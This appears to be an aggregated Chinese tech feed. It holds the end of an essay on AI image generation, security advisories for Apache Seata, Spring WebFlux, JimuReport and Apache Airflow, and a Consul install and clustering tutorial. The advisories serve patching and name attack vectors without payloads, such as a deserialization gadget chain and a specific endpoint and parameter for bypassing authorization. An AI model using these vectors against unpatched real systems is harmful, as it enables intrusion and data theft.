    3. 新的艺术形式:摄影单独是一种艺术形式,相信 AI 图片生成也会带来独有的新的艺术形式,只是目前还未成型,摄影从诞生到成为一种艺术形式,也花了60年。跟画画与摄影不同的是,AI 图片生成创作,是有双向交互的,它不是定死的画笔或相机,创作过程中,AI 创作出来的内容会牵引下一步创作动作,不是一步到位,也不是忠实呈现自己脑里所想、呈现现实世界已有的东西,AI 不仅是工具,作品是人与 AI 的共创,有可能是新的艺术形式。

但跟摄影不同的是,图片生成技术,也许无法像拍照一样普及率那么高,摄像头记录美好生活是高频刚需,但创作不是,纯 AI 创作最终还是属于少部分创作者,就像能称为摄影师的只是少部分人。AI 技术进步是赋予了不会画画但有创意的一波人更强的能力,就像抖音最终赋予的也是少部分创作者展示他们才华的能力一样。

创作无法普及到大众,但创作出来的内容是能普及的,内容消费是大众刚需,至于这波创作者能否创作出跟摄像头相媲美的另一个维度的内容,支撑起一个 AI 内容消费社区,有待探索。

最后

生产工具、大众娱乐、探索创作,这三类图片生成的应用,差距还是比较大的。

  1. 生产工具,需要深入到场景做微调,不断优化效果、深入工作流。
  2. 大众娱乐,需要的是制造爆款的能力。
  3. 探索创作,需要有最好的基础模型能力,以及做好社区运营。

目前看起来没有一个产品能大面积覆盖这几个场景,未来会不会有?只要团队能满足这些条件,能造出一个超级应用满足所有图生成的诉求,大众认知上是没问题的,像上个时代的 Photoshop。

by bang at September 23, 2024 03:58 AM

September 17, 2024

oschina news industry-news

Apache Seata Hessian反序列化漏洞

漏洞描述

Apache Seata(incubating) 是一款开源的分布式事务解决方案,用于在微服务架构下提供高性能和简单易用的分布式事务服务。

Seata用于服务端与客户端通信的RPC协议(默认8091端口)以及2.0.0开始实现的Raft协议消息均支持hessian格式,在2.1.0及1.8.1版本之前的Hessian反序列化操作校验不严格,自身安全校验HessianSerializerFactory只作用于serialize序列化过程。

攻击者可通过向Seata服务端发送恶意的hessian格式RPC数据,通过SwingLazyValue等利用链反序列化执行任意代码。

漏洞名称 Apache Seata Hessian反序列化漏洞
漏洞类型 反序列化
发现时间 2024-09-16
漏洞影响广度 -
MPS编号 MPS-dhq6-1iyr
CVE编号 CVE-2024-22399
CNVD编号 -

影响范围

seata@[2.0.0, 2.1.0)

seata@(-∞, 1.8.1)

org.apache.seata:seata-core@(-∞, 1.8.1)

org.apache.seata:seata-core@[2.0.0, 2.1.0)

io.seata:seata-serializer-hessian@[2.0.0, 2.1.0)

io.seata:seata-serializer-hessian@(-∞, 1.8.1)

修复方案

将组件 seata 升级至 2.1.0 及以上版本

将组件 seata 升级至 1.8.1 及以上版本

将组件 org.apache.seata:seata-core 升级至 1.8.1 及以上版本

将组件 org.apache.seata:seata-core 升级至 2.1.0 及以上版本

将组件 io.seata:seata-serializer-hessian 升级至 2.1.0 及以上版本

将组件 io.seata:seata-serializer-hessian 升级至 1.8.1 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-dhq6-1iyr

https://nvd.nist.gov/vuln/detail/CVE-2024-22399

https://lists.apache.org/thread/91nzzlxyj4nmks85gbzwkkjtbmnmlkc4

https://github.com/apache/incubator-seata/commit/d577cfc147f7d6615e458016671d7953816ed193

Commit

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at September 17, 2024 09:23 AM

September 14, 2024

oschina news industry-news

Spring Framework 路径遍历漏洞

漏洞描述

Spring Framework 是一个广泛使用的开源 Java 企业级应用框架。

受影响版本中当应用程序使用 RouterFunctions 来处理静态资源且资源处理通过 FileSystemResource 进行配置时,攻击者可以通过构造恶意 HTTP 请求,利用路径遍历漏洞获取文件系统中的任意文件。

修复版本通过添加isInvalidEncodedInputPath和isInvalidPath函数来检测恶意路径,以此来修复该漏洞。

如果使用了 Spring Security HTTP 防火墙,或者使用 Spring 默认的 Tomcat 或者是使用 Jetty 进行部署,则不会受到此漏洞的影响。

漏洞名称 Spring Framework 路径遍历漏洞
漏洞类型 路径遍历
发现时间 2024-09-13
漏洞影响广度 -
MPS编号 MPS-ntk7-3wed
CVE编号 CVE-2024-38816
CNVD编号 -

影响范围

org.springframework:spring-webflux@[6.0.0, 6.0.24)

org.springframework:spring-webflux@[5.3.0, 5.3.40)

org.springframework:spring-webflux@[6.1.0, 6.1.13)

修复方案

将组件 org.springframework:spring-webflux 升级至 6.0.24 及以上版本

将组件 org.springframework:spring-webflux 升级至 5.3.40 及以上版本

将组件 org.springframework:spring-webflux 升级至 6.1.13 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-ntk7-3wed

https://nvd.nist.gov/vuln/detail/CVE-2024-38816

 

Commit

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at September 14, 2024 02:29 AM

September 12, 2024

oschina news industry-news

JimuReport<1.8.0 存在权限绕过漏洞

漏洞描述

JimuReport 是一款类似excel操作风格、在线拖拽式的报表工具。

受影响版本中,由于 org.jeecg.modules.jmreport.desreport.service.a.f#isShareingToken 方法校验 token 时当查询结果为空返回 true,未授权的攻击者可利用该漏洞通过 /jmreport/dict/list 接口发送 shareToken 参数为空的请求绕过权限校验,获取报表字典记录信息。

漏洞名称 JimuReport<1.8.0 存在权限绕过漏洞
漏洞类型 权限管理不当
发现时间 2024-09-11
漏洞影响广度 -
MPS编号 MPS-lij4-9o80
CVE编号 CVE-2024-44893
CNVD编号 -

影响范围

org.jeecgframework.jimureport:jimureport-spring-boot-starter@(-∞, 1.8.0)

org.jeecgframework.jimureport:jimureport-spring-boot3-starter-fastjson2@(-∞, 1.8.0)

修复方案

将组件 org.jeecgframework.jimureport:jimureport-spring-boot-starter 升级至 1.8.0 及以上版本

将组件 org.jeecgframework.jimureport:jimureport-spring-boot3-starter-fastjson2 升级至 1.8.0 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-lij4-9o80

https://nvd.nist.gov/vuln/detail/CVE-2024-44893

https://github.com/jeecgboot/JimuReport/issues/2904

https://github.com/jeecgboot/JimuReport/issues/2865

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at September 12, 2024 02:29 AM

September 08, 2024

oschina news industry-news

Apache Airflow<2.10.1 远程代码执行漏洞

漏洞描述

Apache Airflow 是开源的工作流自动化平台,允许用户以编程方式创建、调度和监控工作流(DAG)。

受影响版本中,由于允许用户在DAG目录中添加本地设置,具有DAG编辑权限的攻击者可在设置中注入恶意代码,当调度器加载DAG时将执行攻击者可控的恶意代码。

漏洞名称 Apache Airflow<2.10.1 远程代码执行漏洞
漏洞类型 代码注入
发现时间 2024-09-07
漏洞影响广度 -
MPS编号 MPS-updc-kr7g
CVE编号 CVE-2024-45034
CNVD编号 -

影响范围

apache-airflow@(-∞, 2.10.1)

修复方案

将组件 apache-airflow 升级至 2.10.1 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-updc-kr7g

https://github.com/apache/airflow/commit/e37d8e9541a7752027fa09f50c7550b509804e27

https://nvd.nist.gov/vuln/detail/CVE-2024-45034

https://www.openwall.com/lists/oss-security/2024/09/06/3

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at September 08, 2024 02:04 AM

September 05, 2024

51niux

Consul初步了解(一)

官网地址:https://www.consul.io/    #Consul是HashiCorp公司推出的开源软件你点几下载文档之类的就会跳转到developer.hashicorp.com

一、Consul介绍

1.1 什么是Consul

      Consul是由HashiCorp公司用Go语言开发得开源软件,提供了微服务系统中的服务治理、配置中心等功能。做服务发现的常用的有zookeeper/eureka/etcd/consul,具体的可自行搜索。

      Consul使用 Raft 算法来保证一致性, 比复杂的 Paxos 算法更直接. 相比较而言, zookeeper 采用的是 Paxos, 而 etcd 使用的则是 Raft。

      Consul 提供的关键功能:

服务发现:Consul的客户端可以注册服务,使用DNS或HTTP,应用程序可以轻松找到它们所依赖的服务。
运行状况检查:Consul客户端可以提供任意数量的运行状况检查,服务发现组件使用此信息将流量路由远离不健康主机。
KV存储:应用程序可以将Consul的层级键/值存储用于任何目的,包括动态配置,功能标记,协调,领导者选举等。简单的HTTP API使其易于使用。
安全服务通信:Consul可以为服务生成和分发TLS证书,以建立相互的TLS连接。当然还有ACL功能通过token控制读写权限。
多数据中心:Consul支持多个数据中心。

1.2 Glossary(术语表)

Agent:代理是在Consul集群的每个成员上长时间运行的守护进程。它是通过运行consul代理启动的。代理可以在客户端或服务器模式下运行。

由于所有节点都必须运行代理,因此将节点称为client或server更简单,但是agent还有其他实例。所有agent都可以运行DNS或HTTP接口,并负责运行检查和保持服务同步。

Client:客户端是将所有rpc转发给服务器的代理。客户机是相对无状态的。客户端执行的唯一后台活动是参与LAN gossip pool。这具有最小的资源开销,并且只消耗少量的网络带宽。

Server:服务端是一个具有扩展职责的agent,包括参与Raft仲裁、维护集群状态、响应RPC查询、与其他数据中心交换WAN gossip,以及将查询转发给领导者或远程数据中心。

Datacenter(数据中心):将数据中心定义为私有、低延迟和高带宽的网络环境。这不包括通过公共互联网的通信,但就目的而言,单个EC2区域内的多个可用区将被视为单个数据中心的一部分。

Consensus(共识): 使用共识来表示对当选leader的同意以及对交易顺序的同意。由于这些事务应用于有限状态机,对共识的定义意味着复制状态机的一致性。

Gossip:Consul建立在Serf之上,Serf提供了一个用于多种目的的完整gossip协议。Serf提供成员资格、故障检测和事件广播。

LAN Gossip:LAN gossip pool其中包含所有位于同一局域网或数据中心的节点。

WAN Gossip:WAN gossip pool这些服务器主要位于不同的数据中心,通常通过互联网或广域网进行通信。

RPC:远程过程调用。这是一种请求/响应机制,允许客户端向服务器发出请求。

Raft协议: 主要负责leader选举和日志同步。

下面是Consul Glossary

Access Control List (ACL)访问控制列表(ACL)是文件、文件夹或其他对象的用户权限列表。它定义了哪些用户和组可以访问对象以及可以执行哪些操作。Consul使用访问控制列表(ACL)来保护UI、API、CLI、服务通信和代理通信。

API Gateway:应用程序编程接口(Application Programming Interface,API)是一种允许两个应用程序进行通信的通用软件接口。大多数现代应用程序都是使用API构建的。API网关是使用API构建的这些现代应用程序的单一入口点。

Application Security:应用程序安全是通过检测和修复任何威胁或信息泄漏来使应用程序安全的过程。这可以在应用程序开发生命周期期间或之后完成;

Application Services:应用程序服务是一组服务,如部署、运行和改进应用程序所需的应用程序性能监控、负载平衡、服务发现、服务代理、安全性、自动缩放等。

Authentication and Authorization (AuthN and AuthZ):身份验证(AuthN)处理建立用户身份,而授权(AuthZ)根据用户身份允许或拒绝访问用户。

Auto Scaling Groups:自动扩展组是AWS特有的术语,表示一组Amazon EC2实例,这些实例被视为一个逻辑分组,用于自动扩展和管理。

Autoscaling:自动缩放是根据网络流量要求自动缩放计算资源的过程。自动缩放可以水平或垂直进行。水平扩展是通过向资源池中添加更多机器来实现的,而垂直扩展意味着增加现有机器的容量。

Blue-Green Deployments:蓝绿部署是一种部署方法,旨在通过运行标记为蓝色和绿色的两个相同的生产环境来减少停机时间。蓝色是活动环境,绿色是空闲环境。

Canary Deployments:金丝雀的部署是用于向用户或服务器子集推出版本的模式。目标是将更新部署到用户子集,对其进行测试,然后将更改推出给每个人。

Client-side Load Balancing:客户端负载平衡是一种负载平衡方法,它依赖于客户端调用正确服务器的决定。

Cloud Native Computing Foundation:云原生计算基金会(CNCF)是一个Linux基金会项目,成立于2015年,旨在帮助推进容器技术,并使科技行业围绕其发展保持一致。

Custom Resource Definition (CRD):自定义资源是Kubernetes API的扩展。自定义资源定义(CRD)文件允许用户定义自己的自定义资源,并允许API服务器处理生命周期。

Egress Traffic:出口流量是指从网络内部开始,通过路由器到达网络外部目的地的网络流量。

Elastic Provisioning:弹性资源调配是动态调配计算资源以满足用户需求的能力。

Envoy Proxy:Envoy Proxy是一个现代的、高性能的、占用空间小的边缘和服务代理。

Forward Proxy:转发代理用于将网络内部的传出请求转发到互联网,通常是通过防火墙。

Hybrid Cloud Architecture:混合云架构是一种混合了本地、私有云和公共云服务的IT架构方法。

Identity-based authorization:基于身份的授权是一种基于个人身份验证来限制或允许访问的安全方法。

Infrastructure as a Service:基础设施即服务,通常称为IaaS,是一种云计算方法,其中计算资源通过api在线交付。这些api与底层基础设施通信,如物理计算资源、位置、数据分区、扩展、安全性、备份等。

Infrastructure as Code:基础设施即代码(IaC)是开发人员和运营团队通过软件而不是使用配置工具自动配置和管理计算资源的能力的过程。

Ingress Controller:在Kubernetes中,"ingress"是一个允许从Kubernetes集群外部访问Kubernetes服务的对象。入口控制器负责入口,通常使用负载均衡器或边缘路由器来帮助进行流量管理。

Ingress Gateway:Ingress网关是网格负载均衡器的一个边缘,它提供从外部网络到Kubernetes集群的安全可靠的访问。

Ingress Traffic:入口流量是指源自网络外部并在网络内部有目的地的网络流量。

Key-Value Store:键值存储(或KV存储)也称为键值数据库,是一种数据模型,其中每个键与集合中的一个且仅一个值相关联。

L4 - L7 Services:L4-L7服务是开放系统互连(OSI)模型中的一组功能,如负载平衡、web应用程序防火墙、服务发现和网络层监控。

Layer 7 Observability第7层可观察性是Consul Service Mesh的一个特性,它为度量收集、分布式跟踪和日志记录提供了统一的工作流。它还允许集中配置和管理分布式数据平面。

Load Balancer:负载平衡器是一种网络设备,它充当反向代理,并在服务器之间分配网络和应用程序流量。

Load Balancing:负载平衡是跨多个服务器分配网络和应用程序流量的过程。

Load Balancing Algorithms:负载平衡器遵循一种算法来确定如何跨服务器群路由流量。一些常用的算法是:轮循/最少连接数/加权连接/源IP散列/最小响应时间法/最小带宽法

Multi-cloud:多云环境通常在单个架构中使用来自不同供应商的两个或多个云计算服务。这是指计算资源、存储和网络方面在云环境中的分布。

Multi-cloud Networking:多云网络通过API跨多个云提供商提供网络配置和管理。

Mutual Transport Layer Security (mTLS):相互传输层安全,也称为mTLS,是一种身份验证机制,可确保客户端和服务器之间双向的网络流量安全。

Network Middleware Automation:将服务更改发布到网络中间件(如负载均衡器和防火墙)并自动化网络任务的过程称为网络中间件自动化。

Network security:网络安全是保护数据和网络的过程。它由一组策略和实践组成,旨在防止和监控对计算机网络和网络可访问资源的未经授权的访问、滥用、修改或拒绝。

Network traffic management:网络流量管理是通过使用一组网络监控工具来确保网络最佳运行的过程。网络流量管理还侧重于流量管理技术,如带宽监控、深度数据包检测和基于应用程序的路由。

Network Visualization:网络可视化是将网络和连接实体以“框和线”的形式直观地显示出来的过程。

Observability:可观察性是对部署或实例的事件进行日志记录、监视和警报的过程。

Elastic Scaling: 弹性扩展是指根据应用程序流量模式的变化自动添加或删除计算或网络资源的能力。

Platform as a Service:平台即服务(PaaS)是云计算的一个类别,它允许用户开发、运行和管理应用程序,而无需构建和维护通常与开发和启动应用程序相关的基础设施。

Reverse Proxy:反向代理处理来自外部到内部网络的请求。反向代理提供了一定级别的安全性,可以防止外部客户端直接访问公司服务器上的数据。

Role-based Access Controls:根据用户在组织中的特定角色限制或提供访问权限的行为。

Server side load balancing:服务器端负载平衡器位于客户端和服务器场之间,接受传入流量,并使用各种负载平衡方法在多个后端服务器之间分配流量。

Service configuration:服务配置包括服务的名称、描述和特定功能。在微服务应用程序架构设置中,服务配置文件包括服务定义。

Service Catalog:服务目录是经过组织和管理的服务集合,开发人员可以将这些服务绑定到他们的应用程序。

Service Discovery:服务发现是对网络中的服务和设备进行检测的过程。在微服务上下文中,服务发现是指应用程序和微服务如何在网络中相互定位。

Service Mesh:服务网格是促进微服务之间服务到服务通信的基础设施层,通常使用sidecar代理。这个微服务网络组成了微服务应用程序以及它们之间的交互。

Service Networking:服务网络将多个实体聚集在一起以提供特定的服务。服务网络是组织网络和监控操作的大脑。

Service Proxy:服务代理是微服务应用程序的客户端代理。它允许应用程序通过代理服务器发送和接收消息。

Service Registration服务注册是让客户端(服务的)和路由器知道服务的可用实例的过程。服务实例在启动时向服务注册中心注册,在关闭时注销。

Service Registry:服务注册中心是一个服务实例的数据库,包含有关如何向这些服务实例发送请求的信息。

Microservice Segmentation:微服务的微服务分段,有时是可视化的,是微服务应用程序架构中的分段,使管理员能够查看他们的功能和交互。

Service-to-service communication:服务到服务通信,有时也称为服务间通信,是微服务应用程序实例与另一个实例通信以协作和处理客户端请求的能力。

Software as a Service:软件即服务是一种软件交付的许可和交付方法,其中软件由提供商托管,并在订阅的基础上许可给用户。

1.3 Consul所需端口

      可以在agent配置文件中或使用consol代理CLI命令更改或禁用Consul的默认端口。Consul需要的确切端口取决于你的网络的特定配置。例如,仅在使用WAN联合时才需要用于WAN自定义通信的端口。Consul服务器和客户机的端口需求略有不同。当Consul服务器上注册了服务、代理或网关时,它既充当服务器,又充当客户机。HCP Consul专用服务器具有不同的端口分配。

       下表列出了端口名称、它们的功能、它们的网络协议、它们的默认端口号、它们在默认情况下是启用还是禁用、HCP Consul Dedicated服务器集群的端口分配,以及从Consul服务器的角度来看的流量方向。

端口名称
用途协议默认端口默认状态HCP专用端口流量方向
DNS
DNS serverTCP and UDP
8600Enabled不支持流入
HTTPHTTP API/UI访问TCP8500
Enabled不支持流入
HTTPSHTTPS API/UI访问TCP8501Disabled443流入
gRPCgRPC APITCP8502Disabled不支持流入
gRPC TLSgRPC API with TLSTCP8503Enabled8502流入
Server RPCConsul服务端内部通信TCP8300
Enabled8300流入和流出
LAN SerfSerf局域网端口TCP and UDP8301Enabled8301流入和流出
WAN SerfSerf广域网端口TCP and UDP8302Enabled8302流入和流出

       Consul是HashiCorp所开发的免费服务网格,而HCP则是HashiCorp的云计算平台,用户在HCP可以简单地用到HashiCorp Consul和Vault等托管软件服务,且这些服务还可以连接到AWS上使用。

1.3 Consul是如何工作的

 image.png

       上面这张架构图也就很好理解了,首先说单个机房内部server是最少三个节点,这样可以损坏一个节点保证能够选主,当然也可以5个可以损坏2个节点,尽量就不要再多了,不然会影响选主的速度。如果客户端比较多可以考虑逻辑分组多分一些consul集群而不是不断地扩大consul集群的规模。

       先说机房内部consul之间是通过8300端口进行通信的,用来进行集群内部的数据读写和复制,客户端通过该端口RPC协议调用服务端节点,服务器节点之间相互调用。然后8301端口用于单个数据中心所有节点之间的互相通信,即对LAN GOSSIP pool信息的同步。它使得整个数据中心能够自动发现服务器地址,分布式检测节点故障,事件广播(如领导选举事件)。

       然后机房之间呢通过8302端口用于单个或多个数据中心之间的服务器节点的信息同步,即对 WAN GOSSIP pool信息的同步。它针对互联网的高延迟进行了优化,能够实现跨数据中心请求。

博文来自:www.51niux.com

二、Consul的安装和简单使用

2.1 Consul的安装

二进制包安装:

#wget https://releases.hashicorp.com/consul/1.19.1/consul_1.19.1_linux_amd64.zip

#mkdir consul

#mv consul_1.19.1_linux_amd64.zip  consul

#cd consul/

#unzip consul_1.19.1_linux_amd64.zip

#ln -sn /opt/soft/consul/consul /usr/bin

# consul -v

image.png

2.2 Consul命令记录

# consul --help

Usage: consul [--version] [--help] <command> [<args>]
Available commands are:
    acl #与Consul的acl交互
    agent  #运行Consul agent
    catalog  #与catalog交互
    config  #与Consul的集中式配置交互
    connect #与Consul Connect交互
    debug  #记录调试信息
    event #触发一个新事件
    exec  #在Consul节点上执行命令
    force-leave  #强制集群成员进入"离开"状态
    info  #提供Info信息
    intention  #与intentions服务进行交互
    join  #加入consul集群
    keygen #生成新的加密密钥
    keyring  #管理gossip加密密钥
    kv #与key-value store进行交互
    leave  #优雅地离开Consul集群并关闭
    lock  #执行持有锁的命令
    login #使用身份验证方法登录到Consul
    logout #销毁用login创建的Consul令牌
    maint  #控制节点或服务维护模式
    members #列出Consul集群的成员
    monitor #从Consul代理流式传输日志
    operator #为Consul操作员提供集群级工具
    peering  #创建和管理Consul集群之间的对等连接
    reload  #触发代理重新加载配置文件
    resource  #与Consul's resources进行交互
    rtt #估计节点之间的网络往返时间
    services #与services进行交互
    snapshot #保存、恢复和检查Consul服务器状态的快照
    tls #用于创建ca和证书的内置帮助程序
    troubleshoot #用于排除Consul服务网格故障的CLI工具
    validate  #验证配置文件/目录
    version #打印Consul版本
    watch #关注Consul的变化

# consul agent --help

Usage: consul agent [options]
启动Consul代理并运行,直到收到中断。这个代理代表集群中的单个节点。
HTTP API Options
  -datacenter=<value>  #代理的数据中心。
Command Options
  -advertise=<value> #设置使用advertise的address
  -advertise-wan=<value> #设置在广域网上发布的地址,而不是-advertise address。  
  -allow-write-http-from=<value> #只允许来自给定网络的写端点调用。CIDR格式可以多次指定。
  -alt-domain=<value> #用于DNS接口的备用域
  -auto-reload-config #监视配置文件的更改,并在修改时自动重新加载文件
  -bind=<value> #设置集群通信的绑定地址
  -bootstrap  #将服务器设置为引导模式
  -bootstrap-expect=<value>  #将服务器设置为期望引导模式
  -check_output_max_size=<value> #设置此代理上检查的最大输出大小
  -client=<value> #设置为客户端访问绑定的地址。这包括RPC、DNS、HTTP、HTTPS和gRPC(如果配置的话)。
  -config-dir=<value> #读取配置文件的目录路径。这将按字母顺序读取此目录中以“.json”结尾的每个文件作为配置。可以多次指定。
  -config-file=<value> #JSON或HCL格式文件的路径,具有匹配的文件扩展名。可以多次指定。
  -config-format=<string> #配置文件的格式与扩展名无关。必须是“hcl”或“json”
  -data-dir=<value> #用于存储代理状态的数据目录的路径
  -default-query-time=<value> #阻塞查询在Consul强制响应之前等待的时间。此值可以被“wait”查询参数覆盖。
  -dev #在开发模式下启动agent
  -disable-host-node-id #将其设置为true将阻止Consul使用信息从主机生成节点ID,并将导致Consul生成一个随机的节点ID。
  -disable-keyring-file #禁用将keyring备份到文件
  -dns-port=<value> #要使用的DNS端口
  -domain=<value> #DNS接口使用的域名
  -enable-local-script-checks #从配置文件启用健康检查脚本
  -enable-script-checks #启用健康检查脚本
  -encrypt=<value> #提供gossip加密密钥
  -grpc-port=<value> #设置gRPC API端口监听
  -grpc-tls-port=<value> #设置gRPC-TLS API端口监听
  -hcl=<value> #hcl配置片段。可以多次指定
  -http-port=<value> #设置要侦听的HTTP API端口
  -https-port=<value> #设置HTTPS API端口侦听
  -log-file=<value> #日志写入文件的路径
  -log-json #以JSON格式输出日志
  -log-level=<value> #日志级别
  -log-rotate-bytes=<value> #应该写入日志文件的最大字节数
  -log-rotate-duration=<value> #需要执行日志轮换的时间
  -log-rotate-max-files=<value> #要保留的日志文件存档的最大数量
  -max-query-time=<value> #阻塞查询在Consul强制响应之前可以等待的最大时间。Consul将抖动应用于等待时间。抖动时间将被限制为MaxQueryTime。
  -node=<value> #节点名称。必须在集群中唯一
  -node-id=<value> #此节点在空间和时间上的唯一ID。默认为随机生成的ID,该ID保存在数据目录中。
  -node-meta=<key:value> #此节点的任意元数据键/值对,格式为' key:value '。可以多次指定。
  -pid-file=<value> #存储代理PID的文件路径
  -primary-gateway=<value> #主数据中心中网状网关的地址,用于在启用重试的开始时间引导WAN联合。可以多次指定。
  -protocol=<value> #设置协议版本。默认为最新
  -raft-protocol=<value> #设置Raft协议版本。默认为最新
  -recursor=<value> #上游DNS服务器的地址。可以多次指定
  -rejoin #忽略之前的离开并尝试重新加入集群
  -retry-interval=<value> #连接尝试之间的等待时间
  -retry-interval-wan=<value> #join -wan尝试之间的等待时间
  -retry-join=<value> #在开始时加入并启用重试的代理的地址。可以被指定多次
  -retry-join-wan=<value> #要在开始时重试加入的代理的地址-wan启用。可以多次指定
  -retry-max=<value> #加入尝试的最大次数。默认为0,将无限期重试
  -retry-max-wan=<value> #加入wan的最大尝试次数。默认为0,这将无限期重试
  -serf-lan-allowed-cidrs=<value> #Serf LAN允许的网络(例如:192.168.1.0/24)。可以是多次指定
  -serf-lan-bind=<value> #将Serf LAN侦听器绑定到的地址
  -serf-lan-port=<value> #设置要侦听的Serf LAN端口
  -serf-wan-allowed-cidrs=<value> #允许Serf WAN(其他)的网络(例如:192.168.1.0/24)数据中心)。可以多次指定。
  -serf-wan-bind=<value> #将Serf WAN侦听器绑定到的地址
  -serf-wan-port=<value> #设置要侦听的Serf WAN端口
  -server #将agent切换到server模式
  -server-port=<value> #设置要侦听的server端口
  -syslog #启用syslog日志
  -ui #启用内置的静态web UI服务器
  -ui-content-path=<value> #将外部UI路径设置为字符串。默认为:/UI/
  -ui-dir=<value> #包含web UI资源的目录路径

# consul join --help

Usage: consul join [options] address ...
告诉正在运行的Consul代理(带有“consul agent”)加入集群通过指定至少一个现有成员。
HTTP API Options
  -ca-file=<value> #与Consul通信时用于TLS的CA文件的路径
  -ca-path=<value> #用于TLS的CA证书目录的路径与Consul沟通
  -client-cert=<value> #当'verify_incoming'时用于TLS的客户端证书文件的路径启用
  -client-key=<value> #当'verify_incoming'时用于TLS的客户端密钥文件的路径启用
  -http-addr=<address> #Consul HTTP agent的地址和端口
  -tls-server-name=<value> #通过连接时用作SNI主机的服务器名称TLS
  -token=<value> #在请求中使用的ACL令牌。这也可以通过以下方式指定CONSUL_HTTP_TOKEN环境变量。如果未指定,则查询将默认为Consul代理在HTTP地址处的令牌
  -token-file=<value> #包含在请求中使用的ACL令牌的文件,而不是一个通过-token参数或CONSUL_HTTP_token环境指定变量
Command Options
   -partition=<default> #指定要查询的管理分区。
   -wan #将一个服务器连接到WAN池中的另一个server

2.3 单机启动一下consul

# consul agent -dev -client=0.0.0.0   #最简单的单机测试环境启动方式,不过我们不用这种

# consul agent -dev -client=0.0.0.0 -datacenter=csdc01 -node=csagent -ui -log-level=info  -bind=192.168.1.164 -disable-host-node-id

# ps aux|grep consul  #查看下进程

root     1117414  1.8  0.3 1355200 57400 pts/1   Sl+  17:19   0:00 consul agent -dev -client=0.0.0.0 -datacenter=csdc01 -node=csagent -ui -log-level=info -bind=192.168.1.164 -disable-host-node-id

#netstat -lntup|grep 1117414  #查看下监听端口

tcp        0      0 192.168.1.164:8301        0.0.0.0:*               LISTEN      1117414/consul      
tcp        0      0 192.168.1.164:8302        0.0.0.0:*               LISTEN      1117414/consul      
tcp        0      0 192.168.1.164:8300        0.0.0.0:*               LISTEN      1117414/consul      
tcp6       0      0 :::8500                 :::*                    LISTEN      1117414/consul      
tcp6       0      0 :::8502                 :::*                    LISTEN      1117414/consul      
tcp6       0      0 :::8503                 :::*                    LISTEN      1117414/consul      
tcp6       0      0 :::8600                 :::*                    LISTEN      1117414/consul      
udp        0      0 192.168.1.164:8301        0.0.0.0:*                           1117414/consul      
udp        0      0 192.168.1.164:8302        0.0.0.0:*                           1117414/consul      
udp6       0      0 :::8600                 :::*                                1117414/consul

#web访问一下URL:http://192.168.1.164:8500/=>会给转到http://192.168.1.164:8500/ui/csdc01/services

博文来自:www.51niux.com

2.4 集群模式运行

192.168.1.164机器上面执行下面的命令:

#consul agent -server -bootstrap-expect=3 -data-dir=/data01/consul -node=192.168.1.164 -bind=192.168.1.164 -client=0.0.0.0 -datacenter=beijing-c -ui &   

在192.168.1.165机器上面执行下面的命令:

#consul agent -server -bootstrap-expect=3 -data-dir=/data01/consul -node=192.168.1.165 -bind=192.168.1.165 -client=0.0.0.0 -datacenter=beijing-c -ui &  

在192.168.1.166机器上面执行下面的命令:

#consul agent -server -bootstrap-expect=3 -data-dir=/data01/consul -node=192.168.1.166 -bind=192.168.1.166 -client=0.0.0.0 -datacenter=beijing-c -ui &  

#然后你会发现日志一直在报错:error="leaf cert watch returned an error: No cluster leader"      #这是因为三个agent互相不跟其他节点通信无法形成一个集群

然后在192.168.1.165机器上面执行下面的命令:

# consul join 192.168.1.164

Successfully joined cluster by contacting 1 nodes.

然后在192.168.1.166机器上面执行下面的命令:

# consul join 192.168.1.164

很快非leader的另外台机器都会打印:

[INFO]  agent.server: New leader elected: payload=192.168.1.165
[INFO]  agent: Synced node info
[INFO]  agent: Newer Consul version available: new_version=1.19.2 current_version=1.19.1

# consul members  #查看下集群成员

image.png

# consul operator raft list-peers  #查看下选举状态

Node             ID               Address   
192.168.1.165  dc581b0a-a349-cd5b-2eb8-5e40455410e3  192.168.1.165:8300
192.168.1.166  cffa5773-2b04-712b-b170-b781dccf4ae8  192.168.1.166:8300  
192.168.1.164  d12b8501-f0a5-d73c-3c48-a5fdc0d934e7  192.168.1.164:8300

image.png

# consul operator raft transfer-leader -id=d12b8501-f0a5-d73c-3c48-a5fdc0d934e7  #指定主机成为leader节点

当然我们也可以通过api进行查询如果启动了ui的8500端口的话:

# curl http://127.0.0.1:8500/v1/status/leader  #查询当前的leader

# curl http://127.0.0.1:8500/v1/status/peers  #查询当前的成员

